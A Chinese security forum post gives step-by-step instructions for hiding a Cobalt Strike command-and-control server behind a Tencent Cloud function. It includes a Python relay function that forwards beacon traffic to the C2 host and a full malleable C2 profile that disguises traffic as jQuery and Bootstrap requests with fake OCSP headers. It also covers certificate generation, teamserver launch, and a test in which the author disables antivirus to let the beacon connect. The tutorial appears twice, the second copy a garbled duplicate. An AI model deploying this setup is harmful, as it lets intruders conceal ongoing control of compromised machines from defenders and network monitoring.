用户
搜索

该用户从未签到

安全团队

Rank: 7Rank: 7Rank: 7

1

主题

2

帖子

40

魔法币
收听
0
粉丝
0
注册时间
2018-3-11
发表于 2022-1-5 15:24:54 12318
本帖最后由 Khan安全攻防实验室 于 2022-1-5 16:18 编辑

最近突然想到大佬们玩烂了的云函数隐藏C2方法,于是趁着美好的周末,抽出时间来玩一下,没想到还是遇到了点小情况,在此做一个简单的记录。

* 启动云函数

  • 在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建->自定义

Snipaste_2021-12-25_22-27-34.png

// 坑点一:要根据cs监听类型http/https在脚本内填入c2服务器地址

py3代码:

import json,requests,base64
def main_handler(event, context):
C2='http://ip'
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

  • 部署完代码后新建触发器,更改下述两个选项即可

    Snipaste_2021-12-25_22-33-31.png

  • 进入触发器api配置,更改路径为/,配置完直接发布api

// 这个时候可以访问下api地址,然后在函数服务的日志查询看一下有没有日志,如果有日志的话云函数配置就ok了

* 配置CS profile

  • 使用keytool生成证书文件,记住证书密码,后面要在profile配置
keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
  • profile 模板,这儿有个坑,我用的是cs4.3 需要整一下花括号位置,花括号要另起一行,不然会报错找不到括号
set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";

https-certificate 
{

    set keystore "cobaltStrike.store"; //证书名
    set password "123456";        //密码

    ## Option 3) Cobalt Strike Self-Signed Certificate
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

http-get 
{

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager 
{  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server 
    {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
  • 创建完成后,把证书和profile文件rz扔到cs文件夹,使用./teamserver vpsip password c2.profile 加载profile启动cs,下面这样就是启动成功

Snipaste_2021-12-25_22-47-13.png

  • 本地客户端连接,创建监听,第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听

    Snipaste_2021-12-25_22-51-57.png

  • 打开cs web日志,访问云函数api的443端口,发现cs的日志出现流量

Snipaste_2021-12-25_22-57-16.png

出现腾讯云流量,至此云函数已经配置成功

Snipaste_2021-12-25_22-57-54.png

* 测试

  • 这儿没做cs马的免杀,关了defender(被干的太惨了),选择https的监听方式,直接上线,sleep调到0发现监听ip会一直变动,配置生效

    合并.png

* 总结

  • 云函数隐藏C2原理

马 -> 腾讯云函数api -> py函数 -> CS服务端

CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)


云函数隐藏C2爬坑记

* 启动云函数

  • 在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建->自定义

    1

    1

// 坑点一:要根据cs监听类型http/https在脚本内填入c2服务器地址

```  py3代码

-- coding: utf8 --

import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)

response={
    "isBase64Encoded": True,
    "statusCode": resp.status_code,
    "headers": dict(resp.headers),
    "body": str(base64.b64encode(resp.content))[2:-1]
}
return response

* 部署完代码后新建触发器,更改下述两个选项即可



2

2
* 进入触发器api配置,更改路径为/,配置完直接发布api

3

3
// 这个时候可以访问下api地址,然后在函数服务的日志查询看一下有没有日志,如果有日志的话云函数配置就ok了 ## * 配置CS profile * 使用keytool生成证书文件,记住证书密码,后面要在profile配置

keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"


* profile 模板,**这儿有个坑,我用的是cs4.3 需要整一下花括号位置,花括号要另起一行,不然会报错找不到括号**

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";

https-certificate
{

set keystore "cobaltStrike.store"; //证书名
set password "Mm0000..";    //密码

## Option 3) Cobalt Strike Self-Signed Certificate
set C   "US";
set CN  "jquery.com";
set O   "jQuery";
set OU  "Certificate Authority";
set validity "365";

}

http-get
{

set uri "/api/getit";

client {
    header "Accept" "*/*";
    metadata {
        base64;
        prepend "SESSIONID=";
        header "Cookie";
    }
}

server {
    header "Content-Type" "application/ocsp-response";
    header "content-transfer-encoding" "binary";
    header "Server" "Nodejs";
    output {
        base64;
        print;
    }
}

}
http-stager
{
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "/";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server 
{
    header "Content-Type" "application/ocsp-response";
    header "content-transfer-encoding" "binary";
    header "Connection" "keep-alive";
    output {
        base64;
        print;
    }
}

}



* 创建完成后,把证书和profile文件rz扔到cs文件夹,使用./teamserver vpsip password c2.profile 加载profile启动cs,下面这样就是启动成功

 

4

4
* 本地客户端连接,创建监听,**第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听**

5

5
* 打开cs web日志,访问云函数api的443端口,发现cs的日志出现流量

6

6
出现腾讯云流量,至此云函数已经配置成功 ## * 测试 * 这儿没做cs马的免杀,关了defender(被干的太惨了),选择https的监听方式,直接上线,sleep调到0发现监听ip会一直变动,配置生效

7

7

8

8
## * 总结 * 云函数隐藏C2原理 马 -> 腾讯云函数api -> py函数 -> CS服务端 CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)

使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册